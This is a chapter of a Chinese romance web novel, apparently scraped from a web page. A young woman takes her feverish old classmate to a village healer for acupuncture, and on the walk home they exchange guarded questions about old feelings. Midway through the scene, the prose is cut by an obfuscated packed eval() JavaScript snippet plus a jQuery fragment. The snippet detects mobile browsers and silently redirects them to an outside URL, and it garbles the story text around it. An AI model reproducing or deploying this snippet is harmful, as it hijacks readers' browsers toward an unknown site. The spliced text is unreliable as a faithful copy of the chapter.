曾经摆在透明橱窗里,那件没能带回家却十分昂贵,很多人都想要的玩具,现在就摆在你面前,你还要吗?
如果有人这么问庄春雨,那她会说,不想要了。
因为她已经长大。
不管是人还是物,过了那个想要的点,后来再看,就觉得不过也就那样。
庄春雨始终觉得,很多东西,其实它本身并没有那么好,不过是因为“想要”这种情绪的存在,所以被人主观地赋予上了一层又一层的滤镜。
人会被欲望迷住双眼。
但苏缈不同与其他任何人和物,因为她就站在这,庄春雨便已经听见了她的心脏在说,还是想要。
怎么办?还是想要。
大抵是因为,苏缈无需庄春雨给她赋予任何多余的滤镜,她本身就足够好。
而且现在苏缈,比以前更好。
“不是带我去镇医院吗?”
停好小电驴,两人在一条黑黢黢的巷子前下了车,苏缈环望一圈,转头看向锁车的人。
庄春雨将头盔随手挂在车上,领着人往狭窄的巷子里走。手机电筒的光照在脚下,并肩的身影晃晃悠悠,拉得老长:“去镇医院有点绕,你人不舒服,咱们就近。”
“诊所?”
“不是,是个阿姨,她家里是祖传行医的,听说唐朝那会儿还出过御医,不知道是真的还是假的。”
苏缈轻轻眨眼。
几个呼吸过去,她停下脚步,用一种难以言说的语气:“有证吗?”
把庄春雨问懵了。
好一会儿,她才反应过来苏缈问的证是什么证,没忍住笑出声,但还是解释:“你放心,她医术很好的,周围十里八乡都有名,经常有人跋山涉水慕名过来,给我也治过几次。”
“哦。”
苏缈重新迈动虚弱的步伐。
今晚没有星星,也没有月亮,但还是有昼亮的白光照在她脚下。
庄春雨走在她身旁。
苏缈抿了抿唇,收回视线。
快十点,这样的小镇在远离景区的地方很少有夜生活,本地居民差不多已经睡下,庄春雨领着苏缈往前走了几十米,在一家门户紧闭的院子前停下来。
接着,她摆弄手机,开始拨电话。
“杨医生刚睡下,咱们等会儿,她说她上个厕所再来开门。”
“嗯。”
没几分钟,黑乎乎的院子亮灯了。
有人过来开门,把她们接进去。
苏缈有些惊讶,庄春雨好像和这个镇子里的所有人都认识,都熟悉,即便是大半夜把人从睡梦中吵醒,主人家也没有觉得不耐烦,反而同她说笑闲聊。
但随即又释然。
因为从学生时代起,好像就是这样。
“喝点热水吧,我先去准备工具,你们坐会儿。”
医生给苏缈把过脉,放下两杯水,又离开。
庄春雨对屋子的陈设以及环境都非常熟悉,医生走后,她坐在那,看起来十分松弛。
回了几条消息,她抬头看苏缈,问:“你怕疼吗?”
退烧的药苏缈白天已经吃过了,但还是反复发烧,医生说先退烧,针灸放血。
庄春雨想着第一次针灸的人,应该都会怕,更何况还要放血。
苏缈也很实诚:“我怕。”
“没事,针灸不疼的,你别看它那么——长一根针,它只是瞧着吓人,其实真扎下去就和被蚊子叮一下差不多。”
苏缈沉默了两秒,唇角牵起细微的弧度:“庄春雨。”
“嗯?”
“你在使坏?”
“我没吓你!”
庄春雨反应过来,否认自己在使坏。
什么啊?
她在苏缈心里到底是个什么印象,还是十几岁时,那个任性又张扬的大小姐吗?
可她只是想说说话,让沉默的气氛变得活跃一些,不那么尴尬。
现在和苏缈单独相处,总有一种,熟又不熟的感觉。
庄春雨和十几岁的苏缈很熟,和眼前这个苏缈,不熟。
“嗯,知道。”苏缈没在意,她此刻没太多的精力去计较这些,声音里都透着沙哑和疲惫,“我有一点累,可以在你身上靠会儿吗?”
她提出一个不算过分的请求。
庄春雨没有拒绝。
肩膀,沉了沉。
苏缈身上异常的体温,还有发间淡淡的洗发香,都渡了过来,好像千丝万缕无形的线,将人圈圈缠绕。
世界都安静了,只剩规律起伏的呼吸声。
庄春雨又听见自己心跳的异响。
她低头,悄悄观察靠在自己肩膀上的苏缈,这人一点儿也不见外,大半个身子的重量都放了过来,那双温柔的眼睛轻阖着,巴掌大小的脸生病的缘故,白得惊人。
有种易碎的虚弱感。
病美人呢。
都是妈生的,怎么苏缈就能生得这样好?
庄春雨边看,边腹诽。
虽然她也不差。
“她这个咳嗽有点严重,不是受寒引起的,估摸着有一阵了,一会儿放完血再配合普通退烧药一起,争取能把这烧一次退下去,不能再反复了,有条件之后最好还是去医院开个详细检查。”
门口,杨医生拿着针灸包和消毒工具掀帘而入。
“是之前病过一次,肺炎没好全。”
庄春雨肩上重量一轻。
苏缈坐起来,解答医生的疑惑,又咳两声。
“那就说得通了。”
“开点中药回去熬吧,她住的地方应该能熬?”医生说话的时候看向庄春雨,她默认两人一起,庄春雨身为陪看的那个该为病人负责,类似于监护人,“没有药罐就到镇上去买个,问老板借一下后厨……还有,好好调理,该忌口忌口。”
庄春雨:“知道了杨姨。”
在你来我往的闲聊里,苏缈按照医生的指示将手伸出去,针扎进穴位里确实不痛,但她还是下意识皱眉,朝庄春雨所在的方向偏脸。
四目相对的瞬间,苏缈的眼波晃了晃。
很快,一颗颗细小的血珠从手背上冒出来。
半个小时后再量体温,果然已经在降。
医生将几个捡好的药包拿过来:“抽烟喝酒吗?”
这话,是在问苏缈。
庄春雨却和医生一起望向她。
苏缈摇头:“不抽烟,不喝酒。”
啊……
庄春雨意外,又不意外,无意识嘀咕:“还和以前一样乖。”
三好学生,不像她。
苏缈没听清:“什么?”
“没什么,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361004|183679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庄春雨起身,做最后的收尾,“大半夜的打扰你了杨姨,多少钱呢?我付一下。”
从侧门出来,两人又沿着来时的路,往回走。
苏缈精神头比来时好很多了,庄春雨便捡着话同她聊,从“你对中医一无所知”,聊到肺炎:“身上有病还出来旅游?你不怕死啊。”
苏缈像是知道庄春雨会问这个,笑了笑:“我想来。错过这趟,下次,就不知道是什么时候了。”
这句回答,让庄春雨有些惊讶:“不像你能做出来的事。”
“嗯?”
“我是说,我以前认识的你不会这么做。”
“不是你说的吗?我们都长大了。”
苏缈用她的话回答她。
庄春雨挑挑眉,不否认。
“你好像对这个镇子的每一处都很熟悉。”
“算是吧,刚到这里的时候晚上失眠睡不着,就喜欢到处乱逛。”
“不怕吗?这里很多小巷里,都没有灯。”
“不怕啊。”
庄春雨轻声:“这里的环境相对国外来说,已经很安全了,这里只是黑而已。”
苏缈转头,有一点点疑惑。
什么叫,“只是黑而已”?
庄春雨舔舔唇,表情闪过一丝不自在,说笑着圆了过去:“哎呀,我的意思是说在国外很多地方,繁华热闹都只是表面,像我们那些留学生圈子,里面大部分人都只是瞧着光鲜亮丽,实际上私下里,早就乱成了一锅,装得人模狗样。”
苏缈被她逗笑:“你也是吗?”
“我当然不是。”庄春雨撇清自己,用了一个很有趣的形容,“我是,正直的小白杨。”
当然,现在已经不小了。
“嗯……”
很明显的笑音,气息在空气中浮动,晚风都变得轻盈。
庄春雨接着说:“所以我说水镇很好,不吵闹,不喧嚣,这里的人都很好。”
“那这几年,在国外有交女朋友吗?”
风,好像忽然停了。
庄春雨唇边的笑意也凝了一瞬。
仍旧没有变化的,是苏缈那双明净的眼眸。
她转过头,看向庄春雨。
庄春雨撇撇嘴,漫不经心:“当然有。”
嘴上这么说,她却没有转头去看苏缈。
就这么小段路,走了一万年那么久。
车子安安稳稳地停在巷口,庄春雨伸手去拿头盔:“不说这些了,你现在感觉怎么样?”
“好很多,头没那么晕,身上多了些力气,额头应该也没那么烫了……”
“你要摸一下吗?”苏缈问她。
就像今晚在门口那样,用手背碰碰。
这其实不算是件有多暧昧的事,可从苏缈嘴里说出来,就有了暧昧的感觉。
但她没有等来清凉的手背。
庄春雨将手里的头盔轻轻套在她头上,左右而言他:“咦,我发现我这个头盔也很衬你诶,难道真是长得好看戴什么都好看吗?”
“你烧刚退,不能吹风,得遮严实点。”
庄春雨一本正经,正直得,好像一颗真的小白杨。
苏缈牵出个淡淡的笑,扶了扶头盔,温温地看向她:“那现在呢。”
“有女朋友吗?”
还,喜欢我吗。